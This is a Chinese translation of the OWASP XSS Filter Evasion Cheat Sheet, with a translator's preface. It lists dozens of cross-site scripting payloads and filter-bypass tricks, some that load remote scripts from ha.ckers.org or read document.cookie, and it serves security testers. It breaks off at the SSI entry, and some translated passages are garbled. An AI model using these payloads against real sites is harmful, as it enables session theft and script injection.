译者注：
翻译本文的最初原因是当我自己看到这篇文章后，觉得它是非常有价值。但是这么著名的一个备忘录却一直没有人把它翻译成中文版。很多人仅仅是简单的把文中的各种代码复制下来，然后看起来很刁的发在各种论坛上，不过你要真去认真研读这些代码，就会完全不知所云了。原因是这篇文章最精华的部分是代码的解释而非代码本身。
一方面为了自己学习，一方面也想让更多国内的 xss 爱好者去更方便的阅读本文。所以虽然我本身英语很烂，xss 技术也很烂，但还是去翻译了这篇文章。当然这也导致最后翻译出来的文章晦涩难懂、不知所云。这个真心向大家说声抱歉啊，也希望大家能及时帮忙提出文中的翻译错误或其他错误。
另外，在翻译过程中，我发现 XSS Filter Evasion Cheat Sheet 原版本身也存在一些技术上的或是描述上的错误。不过虽然我知道原文中某些地方可能出错，但是我也不知道正确的应该是什么样的，还有就是或许原文本身是对的，但是我理解错了。种种原因吧，最后基本上都按原文在翻译，有些觉得可能存在错误的地方或是我理解不了的地方，我就没有翻译，继续使用英文。希望大家可以帮忙给出翻译或是解释。
如果大家有能力阅读英文的话，尽量阅读原文，即使要看这个翻译版，也配合英文版一起看。不要让我的翻译错误误人子弟啊。最后希望大家可以和我一起解决翻译中的各种错误，把这个中文版维护好。
谢谢

介绍

这篇文章的主要目的是去给应用安全测试者提供一份 xss 漏洞检测指南。文章的初始内容由 RSnake 提供给 OWASP，从他的 xss 备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到我们这里，我们打算维护和完善它。OWASP 的第一个防御备忘录项目：the XSS (Cross Site Scripting) Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet，所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者去帮助他们预防 xss 漏洞，而不是创建一个复杂的备忘录去简单的告诉他们需要去预防各种千奇百怪的攻击。所以，OWASP 备忘录系列诞生了。

测试

这个备忘录主要针对那些已经理解了最基本的 xss 攻击，但是想要深入理解各种过滤器绕过的细微差别的学习者。

请注意大部分的 xss 攻击向量已经在其代码下方给出了测试过的浏览器列表。

---

xss 探测器

注入下面这些代码，在大多数没有特殊 xss 向量要求而已遭受脚本攻击的地方将会弹出单词“xss”。使用 url 编码器去编码你的整个代码。小技巧：如果你是急切的需要快去检测一个页面，通常只需要注入轻量的 "<任意字符>" 标签，然后判断输出点是否受到干扰就可以判断是否 xss 漏洞了。

```
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

---

xss 探测器 2

如果你没有充足的输入空间去检测页面是否存在 xss 漏洞。下面这段代码是一个好的简洁的 xss 注入检测代码。在注入这段代码后，查看页面源代码寻找是否存在看起来像

```
'';!--"<XSS>=&{()}
```

无过滤绕过

这是一个常规的 xss 注入代码，虽然通常它会被防御，但是我们建议首先去尝试它。（引号是不被需要的在任何现代浏览器中，因此这里省略了它。）

```
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
```

通过 javascript 指令实现的图片 xss

图片 xss 依靠 javascript 指令实现。（IE7.0 不支持 javascript 指令在图片上下文中，但是可以在其他上下文触发。下面的例子仅仅展示了一种其他标签依旧通用的原理。）

```
<IMG SRC="javascript:alert('XSS');">
```

无引号无分号

```
<IMG SRC=javascript:alert('XSS')>
```

不区分大小写的 xss 攻击向量

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

---

html 实体

The semicolons are required for this to work:

```
<IMG SRC=javascript:alert("XSS")>
```

重音符混淆

如果你的 javascript 代码中需要同时使用单引号和双引号，那么可以使用重音符（`）来包裹 javascript 代码。它也经常会非常有用因为 xss 过滤代码未考虑到这个字符。

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

畸形的 A 标签

跳过 href 属性，而直接获取 xss 实质攻击代码...提出被 David Cross ~ 已验证在 chrome 浏览器

```
<a onmouseover="alert(document.cookie)">xxs link</a>
```

此外，chrome 浏览器喜欢去不全确实的引号为你。如果你遇到阻碍那么直接省略它们吧，chrome 将会正确的帮你不全缺失的引号在 URL 和 script 中。

```
<a onmouseover=alert(document.cookie)>xxs link</a>
```

畸形的 IMG 标签

最早被 Begeek 发现（可以短小而干净的运行于任何浏览器），这个 xss 向量依靠松散的渲染引擎解析 IMG 标签中被引号包含的字符串来实现。我猜测它最初是为了正确编码而造成的。这将使它更加困难的去解释 HTML 标签。

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
```

---

fromCharCode

如果没有任何形式的引号被允许，你可以 eval()一串 fromCharCode 在 javascript 来创建任何你需要的 xss 向量。

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

默认 SRC 属性去绕过 SRC 域名检测过滤器

这将绕过绝大多数 SRC 域名过滤器。插入 javascript 代码在任何一个事件方法同样适用于热河一个 HTML 标签，例如 Form、Iframe、Input、Embed 等等。他将也允许任何任何该标签的相关事件去替换，例如 onblur, onclick 等，后面我们会附加一个可用的事件列表。由 David Cross 提供，Abdullah Hussam 编辑。

```
<IMG SRC=# onmouseover="alert('xxs')">
```

默认 SRC 属性通过省略它的值

```
<IMG SRC= onmouseover="alert('xxs')">
```

默认 SRC 属性通过完全不设置它

```
<IMG onmouseover="alert('xxs')">
```

通过 error 事件触发 alert

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

十进制 html 编码引用

所有在使用 javascript 指令的 xss 示例将无法工作在 Firefox 或 Netscape 8.1+，因为它们使用了 Gecko 渲染引擎。使用 XSS Calculator 获取更多信息。

```
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```

结尾没有分号的十进制 html 编码引用

他是经常有用的在绕过寻找"&#XX;"格式的 xss 过滤，因为大多数人不知道最多允许 7 位字符的编码限制。这也是有用的对那些对字符串解码像$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为一个 html 编码需要用;去结束。（我是无意中发现）

```
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#00
00105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0
000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
```

结尾没有分号的十六进制 html 编码引用

这也是一种实用的 xss 攻击针对上文的$tmp_string =~ s/.\&#(\d+);./$1/; ， 错误的认为数字编码跟随在#后面（十六进制 htnl 编码并非如此）， 。使用 XSS Calculator 获取更多信息。

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#
x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

内嵌 TAB

用来分开 xss 攻击代码

```
<IMG SRC="jav ascript:alert('XSS');">
```

内嵌被编码的 TAB

用来分开 xss 攻击代码

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

内嵌换行符去分开 xss 代码

一些网站声称 09-13 编码的所有字符（十进制）都可以实现这种形式的攻击。这是不正确的。只有 09(tab), 10 (换行) 和 13 (回车)可以使用。查看 ascii 表为更详细的信息。下面四个 xss 例子展示了这个向量。

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

编码回车符去分开 xss 代码

注意：上面我编写的三个 xss 字符串比必须的字符串更长，原因是 0 可以被省略。通常我看到的过滤器假设十六进制和十进制的编码是两到三个字符。正确的应该是一到七个字符。

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

没有分割的 javascript 指令

null 字符也可以作为一个 xss 向量，但是不像上边那样。你需要直接注入它们利用一些工具例如 Burp Proxy，或是使用 %00 在你的 url 字符串里。或者如果你想写你自己的注入工具你可以使用 vim（^V^@ 会生成 null），以及用下面的程序去生成它到一个文本文件中。好吧，我再一次撒谎了。 Opera 的老版本（大约 7.11 on Windows）是脆弱的对于一个额外的字符 173（软连字符）。但是 null 字符 %00 是更加的有用或者帮助我们绕过某些真实存在的过滤器用过变动像这个例子中的。

```
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

图片元素中 javascript 之前的空格和元字符为 xss

xss 过滤拼配模式没有考虑单词"javascript:"中可能存在空格是正确的，因为否则将无法渲染。但是这也导致了错误的假设认为你不可以有一个空格在引号和 "javascript:" 单词之间。事实上你可以插入 1-32 编码字符（十进制）中的任何字符。

```
<IMG SRC=" &#14; javascript:alert('XSS');">
```

非字母数字字符 xss

Firefox html 解析器设定一个非数字字母字符不是有效的在一个 html 关键字后面，因此这些字符会被视为空白符或是无效的 token 在 html 标签之后。这导致很多 xss 过滤器错误的认为 html 标签必须是被空白符隔断的。例如，"

```
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

和上面的原理相同，我们继续扩大，Gecko 渲染引擎允许字母、数字、html 封装字符以外的任何字符位于事件处理器与等号之间。从而借此绕过 xss 过滤器。注意这也是适用于重音符如下所示：

```
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

Yair Amit 提示我有一个小区别在 ie 和 Gecko 渲染引擎之间是他们仅允许一个一个斜杠在 html 标签和参数之间，在不使用空格的情况下。这可能是有用的在那些不允许输入空格的系统中。

```
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

附加的开括号

Franz Sedlmaier 提出，利用这个 xss 向量可以绕过某些检测引擎，因为这些引擎通过拼配最早出现的一对尖括号，并且提取其内部内容作为标签，而没有使用更加有效的算法例如 Boyer-Moore（寻找打开的尖括号以及相关标签的模糊拼配）。代码中的双斜杠可以抑制额外尖括号导致的 javascript 错误。

```
<<SCRIPT>alert("XSS");//<</SCRIPT>
```

没关闭的 script 标签

对于使用了 Gecko 渲染引擎的 Firefox 和 Netscape 8.1 ，你并不需要常规 xss 中"></SCRIPT>"这部分。 Firefox 会帮你闭合标签，并且加入结束标签。多么的体贴啊！ Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. 如果需要，你可以加入引号，但通常他并不是必须的。注意，我并不清楚这个代码被注入后 html 代码会闭合成什么样子。

```
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
```

---

script 标签中的协议解析

这个特殊的变体由 Łukasz Pilorz 提出，并且基于上文中 Ozh 提出的协议解析绕过。这个 xss 例子工作在 IE, 使用 IE 渲染引擎的 Netscape 以及加了在结尾的 Opera。这是非常有用的在输入长度受到限制。域名越短越好。".j"是有效的，不需要考虑编码问题因为浏览拿起可以自动识别在一个 script 标签中。

```
<SCRIPT SRC=//ha.ckers.org/.j>
```

半开的 HTML/JavaScript xss 向量

不同于 Firefox ， ie 渲染引擎不会加入额外的数据到你的页面。但是它允许 javascript 指定在图片标签中这是有用的作为一个 xss 向量，因为它不需要一个结束的尖括号。你可以插入这个 xss 向量在任何 html 标签后面。甚至没有用">"关闭标签。 A note: this does mess up the HTML, depending on what HTML is

beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". 这也是有效的去对付真实的 xss 过滤器，我曾经碰见过试用半开的

```
<IMG SRC="javascript:alert('XSS')"
```

双开尖括号

使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号（>）会有不同的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。

```
<iframe src=http://ha.ckers.org/scriptlet.html <
```

转义 javascript 中的转义

当一个应用程序是输出用户自定义的信息到 javascript 代码中，例如：<SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的 javascript 代码进入它，但是服务器转义了其中的某些引号，这时你需要通过转义被转义的字符来绕过它。从而使最终的输入代码类似于<SCRIPT>var a="\";alert('XSS');//";</SCRIPT> 。最终\转义了双引号前被服务器添加的\，而双引号则不会被转义，从而触发 xss 向量。xss 定位器使用这个方法。

```
\";alert('XSS');//
```

闭合 title 标签

这是一个简单的 xss 向量，可以引入一个恶意的 xss 攻击。
译者注：titile 标签内部不支持 html 代码，所有内容会被自动转义为普通字符。

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

INPUT image

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

BODY image

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

IMG DYNSRC(视频剪辑)

```
<IMG DYNSRC="javascript:alert('XSS')">
```

IMG lowsrc（低分辨率图片）

```
<IMG LOWSRC="javascript:alert('XSS')">
```

List-style-image

```
<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
```

List-style-image

为带有符号的列表嵌入自定义图片的符号。它是只能工作在 ie 渲染引擎因为 javascript 指令。这不是一个特别有用的 xss 向量。

```
<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
```

VBscript in an image

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

Livescript (仅适用于老版本的 Netscape)

```
<IMG SRC="livescript:[code]">
```

BODY 标签

这个方法不需要使用任何"javascript:" or "

```
<BODY ONLOAD=alert('XSS')>
```

事件处理程序

它可以被用于上文中的一些共性 xss 攻击(这是最完整的一个实时更新的在线列表)。感谢 Rene Ledosquet 的更新。此外你可以参考 Dottoro Web Reference 或是 events in JavaScript.

1. FSCommand() (攻击者可以使用它当执行一个嵌入的 flash 对象时)
2. onAbort() (当使用者终止一张正在载入的图片)

3. onActivate() (当对象被设置为激活元素)
4. onAfterPrint() (用户打印或是预览打印工作后激活)
5. onAfterUpdate() (激活在一个数据对象当源对象数据更新后)
6. onBeforeActivate() (触发在一个对象被设置为激活元素)
7. onBeforeCopy() (攻击者执行攻击代码在一个选区被复制到剪贴板之前-攻击者可以实现它通过 execCommand("Copy")函数。)
8. onBeforeCut() (攻击者执行攻击代码在在一个选区被剪贴。)
9. onBeforeDeactivate() (当激活元素被改变后触发)
10. onBeforeEditFocus() (触发在一个可被编辑的元素内的对象就按测到一个 UI-activated 状态或是一个可被编辑对象被选择之前)
11. onBeforePaste() (用户需要被欺骗执行粘贴或是去触发它通过 execCommand("Paste")函数。)
12. onBeforePrint() (用户需要被欺骗执行打印或是攻击者可以使用 print()或是 execCommand("Print")函数。)
13. onBeforeUnload() (用户需要被欺骗关闭浏览器-攻击者不可以 unload windows 除非它是被执行从其父窗口。)
14. onBeforeUpdate() (激活在数据对象在源对象更新数据之后。)
15. onBegin() (onbegin 事件被立即触发当元素的声明周期开始后)
16. onBlur() (当失去焦点时触发*)
17. onBounce() (触发当选框对象的 behavior 属性被设置为"alternate"或是选框的内容抵达窗口的一边。)
18. onCellChange() (触发当数据改变在数据 provider)
19. onChange() (select, text, or TEXTAREA 字段失去焦点或是它们的值是被改变。)
20. onClick()(点击事件)
21. onContextMenu() (用户需要右击在攻击攻击区域)
22. onControlSelect() (当用户去控制一个选择对象时触发。)
23. onCopy() (用户需要去 copy 某些东西或是利用 execCommand("Copy")命令)
24. onCut() (用户需要 copy 某些东西或是利用 execCommand("Cut") 命令)
25. onDataAvailable() (用户改变数据在某个元素上或是攻击者可以执行相同的函数。)
26. onDataSetChanged() (当源数据对象被改变时触发)
27. onDataSetComplete() (触发当数据是成功获取到从数据源对象)
28. onDblClick() (用户双击某个元素。)
29. onDeactivate() (当当前元素失去激活状态时触发)
30. onDrag() (需要用户拖动某个对象)
31. onDragEnd() (需要用户拖动某个对象)
32. onDragLeave() (需要用户拖动某个对象从一个有效的位置。)
33. onDragEnter() (需要用户拖动某个对象从一个有效的位置。)
34. onDragOver() (需要用户拖动某个对象从一个有效的位置。)
35. onDragDrop() (用户拖动某个对象（例如文件）到浏览器窗口内。)
36. onDragStart() (当用户开始拖动操作时发生。)
37. onDrop() (用户拖动某个对象（例如文件）到浏览器窗口内。)
38. onEnd() (当生命周期结束时触发）

39. onError() (载入 document 或 image 发生错误时触发)
40. onErrorUpdate() (当更新数据源的相关对象时发生错误则触发)
41. onFilterChange() (当一个滤镜完成状态改变时触发)
42. onFinish() (移动的 Marquee 文字完成一次移动时触发)
43. onFocus() (当窗口获得焦点时攻击者可以执行代码)
44. onFocusIn() (当窗口获得焦点时攻击者可以执行代码)
45. onFocusOut() (当窗口失去焦点时攻击者可以执行代码)
46. onHashChange() (当当前地址的 hash 发生改变时触发)
47. onHelp() (当用户在当前窗口点击 F1 时触发攻击代码)
48. onInput() (可编辑元素中的内容被用户改变后出发)
49. onKeyDown() (用户按下一个键)
50. onKeyPress() (用户点击或是按下一个键)
51. onKeyUp() (用户释放一个键)
52. onLayoutComplete() (用户需要去打印或是打印预览)
53. onLoad() (攻击者执行攻击代码在窗口载入后)
54. onLoseCapture() (可以被触发被 releaseCapture() 方法)
55. onMediaComplete() (当波翻改一个流媒体文件时，这个事件将触发在文件开始播放前。)
56. onMediaError() (当用户打开的页面包含一个媒体文件，并且发生错误时触发)
57. onMessage() (当文档对象接受到一个信息时触发)
58. onMouseDown() (攻击者需要让用户去点击一张图片。)
59. onMouseEnter() (光标移入一个对象或是区域)
60. onMouseLeave() (攻击者需要让用户移动光标进入一个图片或是表格，接着再次移出)
61. onMouseMove() (攻击者需要让用户移动鼠标进入一个图片或是表格上)
62. onMouseOver() (光标移到一个对象或是区域上)
63. onMouseUp() (攻击者需要让用户点击一张图片)
64. onMouseWheel() (拥挤着需要让用户去使用他们的鼠标滚轮)
65. onMove() (用户或攻击者需要移动页面)
66. onMoveEnd() (用户说攻击者需要移动页面)
67. onMoveStart() (用户说攻击者需要移动页面)
68. onOffline() (浏览器从在线模式转换到离线模式时发生)
69. onOnline() (浏览器从离线模式转换到在线模式时发生)
70. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
71. onPaste() (用户需要去粘贴或是攻击者执行 execCommand("Paste") 方法)
72. onPause() (当激活元素时间停顿时触发，包括 body 元素)
73. onPopState() (当用户返回会话历史时触发)
74. onProgress() (当一个 flash 动画载入时触发)
75. onPropertyChange() (用户或攻击者需要改变一个元素的属性)
76. onReadyStateChange() (用户或攻击者需要改变一个元素的属性)
77. onRedo() (用户执行再执行操作)

78. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
79. onReset() (用户或攻击者重置表单)
80. onResize() (用户调整窗口大小，或是攻击者自动触发通过某些代码例如 <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
81. onResizeEnd() (用户调整窗口大小，或是攻击者自动触发通过某些代码例如 <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeStart() (用户调整窗口大小，或是攻击者自动触发通过某些代码例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
83. onResume() (当元素从暂停恢复到激活时触发,包括 body 元素)
84. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
85. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
86. onRowExit() (用户或攻击者需要改变数据源中的一行)
87. onRowDelete() (用户或攻击者需要删除数据源中的一行)
88. onRowInserted() (用户或攻击者需要向数据源中插入一行)
89. onScroll() (用户需要滚动,或是攻击者可以执行 scrollBy() 函数)
90. onSeek() (媒体播放移动到新位置)
91. onSelect() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
92. onSelectionChange() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
93. onSelectStart() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
94. onStart() (当 marquee 元素循环开始时触发)
95. onStop() (用户需要点击停止按钮或是离开网页)
96. onStorage() (存储区域改变)
97. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
98. onSubmit() (需要攻击者或用户提交表单)
99. onTimeError() (用户或攻击者需要设置一个时间属性例如 dur 的值为无效的值)
100. onTrackChange() (用户或攻击者需要改变播放列表的轨迹)
101. onUndo() (user went backward in undo transaction history)
102. onUnload() (当用户点击一个链接或是按下回车键或是攻击者触发一个点击事件)
103. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
104. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND(背景音乐)

```
<BGSOUND SRC="javascript:alert('XSS');">
```

& JavaScript 包含

```
<BR SIZE="&{alert('XSS')}">
```

样式表

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

远程样式表

（通过某些方式例如最简单的远程样式表，你可以插入一个样式参数为嵌入表达式的 xss 代码）。它是仅仅工作在 IE 浏览器或是使用了 IE 渲染引擎的 Netscape 8.1+。需要注意的是页面中并没有展现出它包含了 javascript 代码。注意：所有的远程样式表示例需要至少用到 body 标签，负责将无法工作除非页面中包含除了向量本身的其他内容。因此你需要添加至少一个字母到页面确保他可以工作如果它是一个空白页面。

```
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
```

远程样式表 2

他的工作原理与上面相同。但是使用了 STYLE 标签代替 LINK 标签。榆次向量稍有不同的变异被用于攻击 Google Desktop。你可以移除</STYLE>标签当后面的 html 去闭合它。这个向量是有用的在不允许输入等号或是反斜杠的实际环境中。

```
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
```

远程样式表 3

它仅仅可以工作在 Opera 8.0 (no longer in 9.x) ，但是是非常的狡猾。 Opera 8.0 (no longer in 9.x) 。根据 RFC2616 规定，设置一个连接头不是 HTTP1.1 规定的一部分，但是很多浏览器仍然允许它（例如 Firefox and Opera）。这个技巧是我们可以设置一个 http 头（与常规 http 头没有什么不同，只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet）。这样带有 xss 代码的远程向量将运行 javascript。他并不被支持在 FireFox。

```
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>;
REL=stylesheet">
```

远程样式表 4

它是仅仅工作在 Gecko 渲染引擎。并且需要绑定一个 XUL 文件在页面。令人讽刺的是 Netscape 认为 Gecko 是更加安全的，因此绝大多是网站会受到这个攻击。

```
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</ST
YLE>
```

分隔 javascript 在 STYLE 标签

这个 xss 在 ie 浏览器中会造成无线循环

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
```

STYLE 属性中使用注释去分隔表达式

提出被 Roman Ivanov

```
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
```

IMG 样式的表达式

这是上面 xss 向量的混合体。但是它是展示了 STYLE 标签被分隔有多困难。同样它也会在 ie 下造成循环弹窗。

```
exp/*<A
STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
```

STYLE 标签（仅支持老版本的 Netscape）

```
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
```

使用 background-image 的 style 标签

```
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
```

使用 background 的 style 标签

```
<STYLE
type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
```

匿名 html 标签的属性

IE6.0 和使用了 ix 渲染引擎的 Netscape 8.1+ 并不会关心你建立的 html 标签存在与否。只要它是以尖括号以及字符开始的。

```
<XSS STYLE="xss:expression(alert('XSS'))">
```

本地 htc 文件

它有一个小的不同与上面的 xss 向量，因为他使用的 htc 文件必须是当前域的文件。这个文件通过样式属性引入并运行 javascript 代码实现 xss。

```
<XSS STYLE="behavior: url(xss.htc);">
```

US-ASCII 编码

US-ASCII 编码 (发现被 Kurt Huwig)。它是使用畸形的 ASCII 编码用 7bits 代替 8bits. 这个 xss 可以绕过绝大多数内容过滤，但是必须当前域的传输形式为 US-ASCII 编码方式。或者你自己去设置这种编码方式 。它是有用的去绕过 web 应用防火墙 xss 过滤比服务器端的过滤。Apache 的 Tomcat 是众所周知的 使用 US-ASCII 编码传输协议。

```
¼script¾alert(¢XSS¢)¼/script¾
```

META

关于 meta refresh 比较奇怪的是他并不是发送一个刷新请求头。因此他通常用于不需要引用 url 的攻击。

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

META using data

URL 指令方案，它是非常的不错因为赢没有明显的 SCRIPT 单词或是 JavaScript 指令出现，因为它使用了 base64 编码。请查看 RFC 2397 了解更多信息或是编码你的代码。你也可以使用 XSS calculator 去编码你的 html 或是 javascript 代码到 base64 位。

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```

额外 url 参数的 META

如果当前网页试图去查找 URL 参数是否以"http://" 开始，你可以用下列技术绕过（被 Moritz Naumann 提出）

```
<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">
```

IFRAME

如果一个 iframes 被允许，那么同时可能会存在大量其他 xss 问题

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

IFRAME 基于事件

IFrames 或其他元素可以使用事件如下（提出被 David Cross）

```
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
```

FRAME

Frames 有一些列相同的问题像 iframes

```
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
```

TABLE

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

TD

像上面一样，TD 也可以通过 BACKGROUND 来包含 javascript xss 向量

```
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
```

DIV background-image

```
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
```

使用 unicoded 编码 xss 利用代码的 DIV background-image

这是被轻微的修改去混淆 url 参数。他是最早被发现被 Renaud Lifchitz 用于攻击 hotmail。

附加额外字符的 DIV background-image

Rnaske 开发了一个 XSS fuzzer 去探测可以在开括号和 javascript 之间加入哪些额外字符在 IE 和安全模式下的 Netscape 8.1。都是一些十进制的字符，但是你也可以用十六进制来填充。（下面这些编码字符可以被使用：1-32, 34, 39, 160, 8192-8.13, 12288, 65279）

```
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
```

DIV expression

它的一个变体是更加有效的去绕过实际的 xss 过滤器是在冒号和表达式之间添加换行符。

```
<DIV STYLE="width: expression(alert('XSS'));">
```

---

html 条件选择注释块

只能工作在 IE5.0 以及更新版或是使用了 ie 渲染引擎的 Netscape 8.1 。 一些网站认为任何包裹在注释中的内容都是安全的，因此并不会被移除。这将允许我们的 xss 向量。或者系统可能通过添加注释对某些内容去试图无害的渲染它。如我们所见，这有时并不起作用。

```
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT> <![endif]-->
```

BASE 标签

工作 ie 或是使用了安全模块的 Netscape 8.1，你需要使用 "//" 斜体文本去避免 javascript 错误。这需要当前网站使用相对路径（例如 images/image.jpg）而不是绝对路径。如果路径开始用一个斜杠（例如"/images/image.jpg"），你需要去掉 xss 向量中的一个斜杠（只有在两个斜杠的情况下才会起到注释作用）

```
<BASE HREF="javascript:alert('XSS');//">
```

OBJECT 标签

如果允许 objects 标签，你也可以注入病毒 payloads 去感染用户。类似于 APPLET 标签。这个链接文件是一个包含 xss 代码的 html 文件。

```
<OBJECT TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
```

使用一个你可以载入包含有 xss 代码的 flash 文件的 EMBED 标签

点击这个 demo，如果你加入属性 allowScriptAccess="never" and allownetworking="internal"他可以缓解这个风险（谢谢 Jonathan Vanasco 的这个信息）

```
<EMBED SRC="
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjA
w IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>
```

使用在 flash 中的 ActionScript 可以混淆你的 xss 向量

```
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);
```

CDATA 混淆的 XML 数据岛

这个 xss 向量尽可以在 IE 和使用了 ie 渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult 在审计雅虎时发现。

```
<XML SRC="xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C
DATAFORMATAS=HTML></SPAN>
```

使用 XML 数据岛生成含有 javascript 代码的当前域 xml 文件

它是相同的同上面仅仅代替 XML 文件为当前域文件。你可以看到结果在下面。

HTML+TIME 在 XML 中

它展示的 Grey Magic 是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在 ie 和使用了 ie 渲染引擎的 Netscape 8.1。并且这段代码需要放在 html 域 body 标签之间。

```
<HTML><BODY><?xml:namespace prefix="t"
ns="urn:schemas-microsoft-com:time"><?import namespace="t"
implementation="#default#time2"><t:set attributeName="innerHTML"
to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>
```

简单的修改字符去绕过过滤器对 ".js"的过滤

你可以重命名你的 javascript 文件为一个图片作为 xss 向量

```
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
```

SSI (服务器端包含)

这需要 SSI 被安装在服务器端去使用这个 xss 向量。但可能我并不需要提及这点，因为如果你可以运行命令在服务器端，那么毫无异味会有更加严重的问题存在。

```
